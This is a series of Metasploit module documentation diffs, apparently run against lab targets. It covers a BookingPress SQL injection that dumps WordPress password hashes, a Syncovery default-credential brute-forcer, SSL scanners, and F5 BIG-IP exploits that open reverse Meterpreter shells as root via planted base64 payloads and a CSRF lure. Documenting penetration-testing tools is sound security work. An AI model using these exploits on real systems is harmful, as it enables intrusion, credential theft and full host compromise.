admin admin@admin.com $P$BfxUckldN6AiHPD0BK6jg58se2b.aL.
hackerman hackerman@hacktheworld.io $P$BESfz7bqSOY8VkUfuYXAZ/bT5E36ww/
mr_metasploit mr_metasploit@metaslpoit.org $P$BDb8pIfym5dS6WTnNU8vU5Uk6i89fk.
msfuser msfuser@rapid7.com $P$BpITVDPiqOZ7fyQbI5g9rsgUvZQFBd1
todd todd@toddtown.com $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0
[*] Auxiliary module execution completed
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) >
```
### Booking Press 1.0.10, WordPress Latest Docker Image on Debian 11 (bullseye)
```
msf6 > use auxiliary/gather/wp_bookingpress_category_services_sqli
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RPORT 8000
RPORT => 8000
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set TARGETURI "/?page_id=10"
TARGETURI => /?page_id=10
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > show options
Module options (auxiliary/gather/wp_bookingpress_category_services_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /?page_id=10 yes The URL of the BookingPress appointment booking page
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > check
[+] 127.0.0.1:8000 - The target is vulnerable.
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > exploit
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Extracting credential information
Wordpress User Credentials
==========================
Username Email Hash
-------- ----- ----
normal normal@test.com $P$Bu9/XNK93oyUTKO.zJ9yGZfYAcbZg9.
testAdmin test@testfakeness.com $P$BYWtZOfh8yqLCKA877hwBysqGdRtk/.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) >
```
@@ -1,47 +0,0 @@
## Description
This module queries a host or range of hosts and pull the SSL certificate information if one is installed.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/ssl```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set THREADS [num of threads]```
4. Do: ```run```
## Scenarios
```
msf > use auxiliary/scanner/http/ssl
msf auxiliary(ssl) > set RHOSTS 192.168.1.200-254
RHOSTS => 192.168.1.200-254
msf auxiliary(ssl) > set THREADS 20
THREADS => 20
msf auxiliary(ssl) > run
[*] Error: 192.168.1.205: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
[*] Error: 192.168.1.206: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
[*] 192.168.1.208:443 Subject: /C=--/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/emailAddress=root@localhost.localdomain Signature Alg: md5WithRSAEncryption
[*] 192.168.1.208:443 WARNING: Signature algorithm using MD5 (md5WithRSAEncryption)
[*] 192.168.1.208:443 has common name localhost.localdomain
[*] 192.168.1.211:443 Subject: /C=--/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/emailAddress=root@localhost.localdomain Signature Alg: sha1WithRSAEncryption
[*] 192.168.1.211:443 has common name localhost.localdomain
[*] Scanned 13 of 55 hosts (023% complete)
[*] Error: 192.168.1.227: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
[*] 192.168.1.223:443 Subject: /CN=localhost Signature Alg: sha1WithRSAEncryption
[*] 192.168.1.223:443 has common name localhost
[*] 192.168.1.222:443 WARNING: Signature algorithm using MD5 (md5WithRSAEncryption)
[*] 192.168.1.222:443 has common name MAILMAN
[*] Scanned 30 of 55 hosts (054% complete)
[*] Scanned 31 of 55 hosts (056% complete)
[*] Scanned 39 of 55 hosts (070% complete)
[*] Scanned 41 of 55 hosts (074% complete)
[*] Scanned 43 of 55 hosts (078% complete)
[*] Scanned 45 of 55 hosts (081% complete)
[*] Scanned 46 of 55 hosts (083% complete)
[*] Scanned 53 of 55 hosts (096% complete)
[*] Scanned 55 of 55 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssl) >
```
@@ -0,0 +1,81 @@
## Vulnerable Application
[Syncovery For Linux with Web-GUI](https://www.syncovery.com/download/linux/)
This module attempts to brute-force valid login credentials for the Syncovery File Sync & Backup Software Web-GUI for Linux.
The default credentials are checked by default.
### Authors
- Jan Rude (mgm security partners GmbH)
### Platforms
- Unix
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use modules/auxiliary/scanner/http/syncovery_linux_login`
4. Do: `set RHOSTS <TARGET HOSTS>`
5. Do: `run`
6. On success you should get valid credentials.
## Options
### USERNAME
Username used for login. Default is "default".
### PASSWORD
Password used for login. Default is "pass".
### TARGETURI
The path to Syncovery login.
### PORT
The (TCP) target port on which Syncovery is running. By default port 8999 is used for HTTP and port 8943 is used for HTTPS.
## Scenarios
### Syncovery for Linux with default credentials
```
msf6 > use modules/auxiliary/scanner/http/syncovery_linux_login
msf6 auxiliary(scanner/http/syncovery_linux_login) > set rhosts 192.168.178.26
rhosts => 192.168.178.26
msf6 auxiliary(scanner/http/syncovery_linux_login) > options
Module options (auxiliary/scanner/http/syncovery_linux_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD pass no The password to Syncovery (default: pass)
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.178.26 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8999 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS true yes Stop guessing when a credential works for a host
TARGETURI / no The path to Syncovery
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME default yes The username to Syncovery (default: default)
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
msf6 auxiliary(scanner/http/syncovery_linux_login) > run
[+] 192.168.178.26:8999 - Syncovery File Sync & Backup Software confirmed
[+] 192.168.178.26:8999 - Identified version: 9.48a
[+] 192.168.178.26:8999 - Success: 'default:pass'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,139 @@
## Vulnerable Application
### Description
Check if a server supports a given version of SSL/TLS and cipher suites.
The certificate is stored in loot, and any known vulnerabilities against that
SSL version and cipher suite combination are checked. These checks include
POODLE, deprecated protocols, expired/not valid certs, low key strength, null cipher suites,
certificates signed with MD5, DROWN, RC4 ciphers, exportable ciphers, LOGJAM, and BEAST.
## Options
### SSLVersion
Which SSL/TLS Version to use. `all` implies all SSL/TLS versions which are usable by the metasploit + ruby + OpenSSL
versions installed on the system. List is dynamically generated. Defaults to `all`
### SSLCipher
Which SSL/TLS Cipher to use. `all` implies all ciphers avaiable for the version of SSL/TLS being used and which
are usable by the metasploit + ruby + OpenSSL versions installed on the system.
List is dynamically generated. Defaults to `all`
## Verification Steps
1. Do: `use auxiliary/scanner/ssl/ssl_version`
2. Do: `set RHOSTS [IP]`
3. Do: `set THREADS [num of threads]`
4. Do: `run`
## Scenarios
### No issues found
An example run against `google.com`, no real issues as expected.
```
msf6 > use auxiliary/scanner/ssl/ssl_version
msf6 auxiliary(scanner/ssl/ssl_version) > set RHOSTS 172.217.12.238
RHOSTS => 172.217.12.238
msf6 auxiliary(scanner/ssl/ssl_version) > run
[+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES256-GCM-SHA384
[+] 172.217.12.238:443 - Certificate saved to loot: /home/gwillcox/.msf4/loot/20221107150747_default_172.217.12.238_ssl.certificate_342145.txt
[*] 172.217.12.238:443 - Certificate Information:
[*] 172.217.12.238:443 - Subject: /CN=*.google.com
[*] 172.217.12.238:443 - Issuer: /C=US/O=Google Trust Services LLC/CN=GTS CA 1C3
[*] 172.217.12.238:443 - Signature Alg: sha256WithRSAEncryption
[*] 172.217.12.238:443 - Public Key Size: 2048 bits
[*] 172.217.12.238:443 - Not Valid Before: 2022-10-17 08:16:43 UTC
[*] 172.217.12.238:443 - Not Valid After: 2023-01-09 08:16:42 UTC
[*] 172.217.12.238:443 - CA Issuer: http://pki.goog/repo/certs/gts1c3.der
[*] 172.217.12.238:443 - Has common name *.google.com
[+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305
[+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES128-GCM-SHA256
[+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: AES256-GCM-SHA384
[+] 172.217.12.238:443 - Connected with SSL Version: TLSv1.2, Cipher: AES128-GCM-SHA256
[*] 172.217.12.238:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssl/ssl_version) > show options
Module options (auxiliary/scanner/ssl/ssl_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.217.12.238 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSLCipher All yes SSL cipher to test (Accepted: All, TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256, TLS_AES_128_GCM_SHA256, ECDHE-ECDSA-AES256-GCM-SHA384, ECDHE-RSA-A
ES256-GCM-SHA384, DHE-RSA-AES256-GCM-SHA384, ECDHE-ECDSA-CHACHA20-POLY1305, ECDHE-RSA-CHACHA20-POLY1305, DHE-RSA-CHACHA20-POLY1305, ECDHE-ECDSA-AES128-GCM-
SHA256, ECDHE-RSA-AES128-GCM-SHA256, DHE-RSA-AES128-GCM-SHA256, ECDHE-ECDSA-AES256-SHA384, ECDHE-RSA-AES256-SHA384, DHE-RSA-AES256-SHA256, ECDHE-ECDSA-AES1
28-SHA256, ECDHE-RSA-AES128-SHA256, DHE-RSA-AES128-SHA256, ECDHE-ECDSA-AES256-SHA, ECDHE-RSA-AES256-SHA, DHE-RSA-AES256-SHA, ECDHE-ECDSA-AES128-SHA, ECDHE-
RSA-AES128-SHA, DHE-RSA-AES128-SHA, RSA-PSK-AES256-GCM-SHA384, DHE-PSK-AES256-GCM-SHA384, RSA-PSK-CHACHA20-POLY1305, DHE-PSK-CHACHA20-POLY1305, ECDHE-PSK-C
HACHA20-POLY1305, AES256-GCM-SHA384, PSK-AES256-GCM-SHA384, PSK-CHACHA20-POLY1305, RSA-PSK-AES128-GCM-SHA256, DHE-PSK-AES128-GCM-SHA256, AES128-GCM-SHA256,
PSK-AES128-GCM-SHA256, AES256-SHA256, AES128-SHA256, ECDHE-PSK-AES256-CBC-SHA384, ECDHE-PSK-AES256-CBC-SHA, SRP-RSA-AES-256-CBC-SHA, SRP-AES-256-CBC-SHA,
RSA-PSK-AES256-CBC-SHA384, DHE-PSK-AES256-CBC-SHA384, RSA-PSK-AES256-CBC-SHA, DHE-PSK-AES256-CBC-SHA, AES256-SHA, PSK-AES256-CBC-SHA384, PSK-AES256-CBC-SHA
, ECDHE-PSK-AES128-CBC-SHA256, ECDHE-PSK-AES128-CBC-SHA, SRP-RSA-AES-128-CBC-SHA, SRP-AES-128-CBC-SHA, RSA-PSK-AES128-CBC-SHA256, DHE-PSK-AES128-CBC-SHA256
, RSA-PSK-AES128-CBC-SHA, DHE-PSK-AES128-CBC-SHA, AES128-SHA, PSK-AES128-CBC-SHA256, PSK-AES128-CBC-SHA)
SSLVersion All yes SSL version to test (Accepted: All, SSLv3, TLSv1.0, TLSv1.2, TLSv1.3)
THREADS 1 yes The number of concurrent threads (max one per host)
msf6 auxiliary(scanner/ssl/ssl_version) >
```
### Expired certificate
```
msf6 > use auxiliary/scanner/ssl/ssl_version
msf6 auxiliary(scanner/ssl/ssl_version) > set RHOSTS expired.badssl.com
RHOSTS => expired.badssl.com
msf6 auxiliary(scanner/ssl/ssl_version) > run
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES256-GCM-SHA384
[+] 104.154.89.105:443 - Certificate saved to loot: /home/gwillcox/.msf4/loot/20221107150939_default_104.154.89.105_ssl.certificate_786557.txt
[*] 104.154.89.105:443 - Certificate Information:
[*] 104.154.89.105:443 - Subject: /C=US/ST=California/L=San Francisco/O=BadSSL Fallback. Unknown subdomain or no SNI./CN=badssl-fallback-unknown-subdomain-or-no-sni
[*] 104.154.89.105:443 - Issuer: /C=US/ST=California/L=San Francisco/O=BadSSL/CN=BadSSL Intermediate Certificate Authority
[*] 104.154.89.105:443 - Signature Alg: sha256WithRSAEncryption
[*] 104.154.89.105:443 - Public Key Size: 2048 bits
[*] 104.154.89.105:443 - Not Valid Before: 2016-08-08 21:17:05 UTC
[*] 104.154.89.105:443 - Not Valid After: 2018-08-08 21:17:05 UTC
[+] 104.154.89.105:443 - Certificate contains no CA Issuers extension... possible self signed certificate
[*] 104.154.89.105:443 - Has common name badssl-fallback-unknown-subdomain-or-no-sni
[+] 104.154.89.105:443 - Certificate expired: 2018-08-08 21:17:05 UTC
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: DHE-RSA-AES256-GCM-SHA384
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES128-GCM-SHA256
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: DHE-RSA-AES128-GCM-SHA256
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES256-SHA384
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: DHE-RSA-AES256-SHA256
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: ECDHE-RSA-AES128-SHA256
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: DHE-RSA-AES128-SHA256
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: AES256-GCM-SHA384
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: AES128-GCM-SHA256
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: AES256-SHA256
[+] 104.154.89.105:443 - Connected with SSL Version: TLSv1.2, Cipher: AES128-SHA256
[*] expired.badssl.com:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssl/ssl_version) > show options
Module options (auxiliary/scanner/ssl/ssl_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS expired.badssl.com yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSLCipher All yes SSL cipher to test (Accepted: All, TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256, TLS_AES_128_GCM_SHA256, ECDHE-ECDSA-AES256-GCM-SHA384, ECDHE-RS
A-AES256-GCM-SHA384, DHE-RSA-AES256-GCM-SHA384, ECDHE-ECDSA-CHACHA20-POLY1305, ECDHE-RSA-CHACHA20-POLY1305, DHE-RSA-CHACHA20-POLY1305, ECDHE-ECDSA-AES12
8-GCM-SHA256, ECDHE-RSA-AES128-GCM-SHA256, DHE-RSA-AES128-GCM-SHA256, ECDHE-ECDSA-AES256-SHA384, ECDHE-RSA-AES256-SHA384, DHE-RSA-AES256-SHA256, ECDHE-E
CDSA-AES128-SHA256, ECDHE-RSA-AES128-SHA256, DHE-RSA-AES128-SHA256, ECDHE-ECDSA-AES256-SHA, ECDHE-RSA-AES256-SHA, DHE-RSA-AES256-SHA, ECDHE-ECDSA-AES128
-SHA, ECDHE-RSA-AES128-SHA, DHE-RSA-AES128-SHA, RSA-PSK-AES256-GCM-SHA384, DHE-PSK-AES256-GCM-SHA384, RSA-PSK-CHACHA20-POLY1305, DHE-PSK-CHACHA20-POLY13
05, ECDHE-PSK-CHACHA20-POLY1305, AES256-GCM-SHA384, PSK-AES256-GCM-SHA384, PSK-CHACHA20-POLY1305, RSA-PSK-AES128-GCM-SHA256, DHE-PSK-AES128-GCM-SHA256,
AES128-GCM-SHA256, PSK-AES128-GCM-SHA256, AES256-SHA256, AES128-SHA256, ECDHE-PSK-AES256-CBC-SHA384, ECDHE-PSK-AES256-CBC-SHA, SRP-RSA-AES-256-CBC-SHA,
SRP-AES-256-CBC-SHA, RSA-PSK-AES256-CBC-SHA384, DHE-PSK-AES256-CBC-SHA384, RSA-PSK-AES256-CBC-SHA, DHE-PSK-AES256-CBC-SHA, AES256-SHA, PSK-AES256-CBC-SH
A384, PSK-AES256-CBC-SHA, ECDHE-PSK-AES128-CBC-SHA256, ECDHE-PSK-AES128-CBC-SHA, SRP-RSA-AES-128-CBC-SHA, SRP-AES-128-CBC-SHA, RSA-PSK-AES128-CBC-SHA256
, DHE-PSK-AES128-CBC-SHA256, RSA-PSK-AES128-CBC-SHA, DHE-PSK-AES128-CBC-SHA, AES128-SHA, PSK-AES128-CBC-SHA256, PSK-AES128-CBC-SHA)
SSLVersion All yes SSL version to test (Accepted: All, SSLv3, TLSv1.0, TLSv1.2, TLSv1.3)
THREADS 1 yes The number of concurrent threads (max one per host)
msf6 auxiliary(scanner/ssl/ssl_version) >
```
@@ -0,0 +1,61 @@
## Vulnerable Application
The vulnerable application is F5 Big-IP version 17.0.0.1 and below. It can be
downloaded as a VMWare image for free (you have to create an account) from
https://downloads.f5.com. You can register for a free 30-day trial if you like,
but it's not required to test this.
Boot the VM and set an admin password by logging in with the default credentials
(admin / admin). You'll need that password.
## Verification Steps
1. Install the application
2. Start `msfconsole`
3. Do: `use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800`
4. Do `set RHOST <target>` / `set HttpUsername admin` / `set HttpPassword <thepasswordyouchose>`
5. Do: `run`
6. You should get a session
## Options
### `HttpUsername` / `HttpPassword`
The account to authorize as - requires console access. The `admin` account (which
is the default `HttpUsername`) works great, if you have the password.
## Scenarios
### F5 Big-IP 17.0.0.1
This should be the normal experience:
```
msf6 > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162
RHOST => 10.0.0.162
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword iagotestbigip
HttpPassword => mybigippassword
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set VERBOSE true
VERBOSE => true
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[*] Creating an .rpmspec file on the target...
[*] Created spec file: /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
[*] Building the RPM to trigger the payload...
[*] Sending stage (40168 bytes) to 10.0.0.162
[+] Deleted /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
[+] Deleted /var/config/rest/node/tmp/RPMS/noarch/wOXt3-4.1.3-0.8.6.noarch.rpm
[*] Meterpreter session 2 opened (10.0.0.179:4444 -> 10.0.0.162:38556) at 2022-11-14 15:14:23 -0800
meterpreter > getuid
Server username: root
```
@@ -0,0 +1,217 @@
## Vulnerable Application
The vulnerable application is F5 Big-IP version 17.0.0.1 and below. It can be
downloaded as a VMWare image for free (you have to create an account) from
https://downloads.f5.com. You can register for a free 30-day trial if you like,
but it's not required to test this.
Boot the VM and set an admin password by logging in with the default credentials
(admin / admin). You'll need that password.
## Verification Steps
This is a CSRF vuln, so it requires a browser in addition to msf:
1. Install the application
2. Start `msfconsole`
3. Do: `use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622`
4. Do `set TARGET_HOST <target>` / `set LHOST <yourtest>`
5. Do: `run`
6. You should get a url such as: `http://10.0.0.179:8080/ddgjZO`
7. Open a browser and visit that URL
8. If you don't already have an HTTP Basic session, it'll ask for your credentials (the `admin` account from earlier works great)
## Options
### `TARGET_HOST` / `TARGET_URI` / `TARGET_SSL`
These are the target that the user will be redirected to
### `FILENAME`
If the `TARGET` is `2` (`Custom`), the file that will be overwritten with the payload
## Scenarios
### F5 Big-IP 17.0.0.1 - Target 0 (Restart)
Start the listener:
```
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
TARGET_HOST => 10.0.0.162
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
[*] Using URL: http://10.0.0.179:8080/LXsNzhG6zMdQ
[*] Server started.
```
Then, a legit user that has HTTP Basic authentication (or who can be tricked
into performing HTTP Basic authentication) needs to visit that URL. When any
user connects, they'll be redirected to the SOAP endpoint and you'll see:
```
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
[*] Using URL: http://10.0.0.179:8080/LXsNzhG6zMdQ
[*] Server started.
[... wait for a user to visit the URL ...]
[*] Redirecting the admin to overwrite /shared/f5_update_action; if successful, your session will come approximately 2 minutes after the target is rebooted
```
We have no way to tell whether this was successful; however, if we already have
access to the target (ie, if you're testing this), we can check if the file was
successfully planted:
```
[root@bigip:Active:Standalone] config # cat /shared/f5_update_action
UpdateAction
https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
https://localhost/error
0
0
0
0
```
The code planted there will activate at reboot. So, ...wait till the target
reboots. Perhaps when they update! Again, if you have shell access, you can
check the log file when it boots:
```
[root@bigip:INOPERATIVE:] config # tail -f /var/log/f5_update_checker.out
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file found -- parsing
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file action: "UpdateAction"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file success URL: "https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file failure URL: "https://localhost/error"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess flag: "8"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess slot: "0"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnFailure flag: "0"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnFailure slot: "0"
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: Executing EM action: UpdateAction
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: Sleeping for 2 minutes before first attempt.
[...wait 2 minutes...]
[Mon Nov 14 15:28:02 2022] f5em_callback [INFO]: Finished sleeping.
[Mon Nov 14 15:28:02 2022] f5em_callback [INFO]: Attempting to connect to EM server: "https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
```
And, on Metasploit:
```
[*] Redirecting the admin to overwrite /shared/f5_update_action; if successful, your session will come approximately 2 minutes after the target is rebooted
[...wait 2 minutes...]
[*] Sending stage (40164 bytes) to 10.0.0.162
[+] Deleted /var/log/f5_update_checker.out
[*] Meterpreter session 1 opened (10.0.0.179:4444 -> 10.0.0.162:51388) at 2022-11-14 15:28:04 -0800
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: root
```
### F5 Big-IP 17.0.0.1 - Target 1 (Login)
This works similarly.. use the module, set the `TARGET_HOST`, and set the
`TARGET` to `1`:
```
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
TARGET_HOST => 10.0.0.162
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
[*] Using URL: http://10.0.0.179:8080/ePg5ECHuVD
[*] Server started.
[...wait for an authenticated user to click the link...]
[*] Redirecting the admin to overwrite /var/run/config/timeout.sh; if successful, your session will come the next time a user logs in interactively
```
Once again, if you already have access, you can verify it worked:
```
[root@bigip:Active:Standalone] config # cat /etc/profile.d/timeout.sh
echo exec\(__import__\(\'base64\'\).b64decode[...]
```
Then, when a user logs in (ie, `ssh root@<target>` or on the console), you get
a session:
```
[*] Redirecting the admin to overwrite /var/run/config/timeout.sh; if successful, your session will come the next time a user logs in interactively
[...wait for a user to log in..]
[*] Sending stage (40168 bytes) to 10.0.0.162
[+] Deleted /var/run/config/timeout.sh
[*] Meterpreter session 1 opened (10.0.0.179:4444 -> 10.0.0.162:43902) at 2022-11-14 15:32:26 -0800
meterpreter > getuid
Server username: root
```
### F5 Big-IP 17.0.0.1 - Target 2 (Custom)
Once again, set up the server:
```
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
TARGET_HOST => 10.0.0.162
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 2
TARGET => 2
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set FILENAME /tmp/testmsfmodule
FILENAME => /tmp/testmsfmodule
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
[*] Using URL: http://10.0.0.179:8080/PLvOVjkiVvXX
[*] Server started.
[...wait for an admin to visit that link...]
[*] Redirecting the admin to overwrite /tmp/testmsfmodule with the payload
```
You can verify the file exists:
```
# cat /tmp/testmsfmodule
echo exec\(__import__\(\'base64\'\).b64decode[...]
```
Note that while this is written by root, you're in a pretty strict SELinux
context so most obvious attacks (like writing to /etc/profile.d, /root/.ssh,
etc., won't work).
@@ -19,6 +19,7 @@ For testing purposes, you can download a Github Enterprise image from the follow
This module was specifically tested against version 2.8.0, which can be downloaded here:
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
[https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova](https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova)
Before you install the image, you must have a valid key. Start from here:
@@ -2,8 +2,9 @@
Download the vulnerable version of OVA or ISO file from following URL. I strongly suggest you to choose OVA.
[http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova](http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova)
[http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso](http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso)
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova
http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso
### Creating A Testing Environment
@@ -76,4 +77,4 @@ dns-nameservers 8.8.8.8
meterpreter > getuid
Server username: root
meterpreter >
```
```
@@ -9,6 +9,7 @@ performs remote code execution as root by abusing the *extract* function used in
### Testing Environment
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
Setup [Unraid 6.8.0](https://s3.amazonaws.com/dnld.lime-technology.com/stable/unRAIDServer-6.8.0-x86_64.zip)
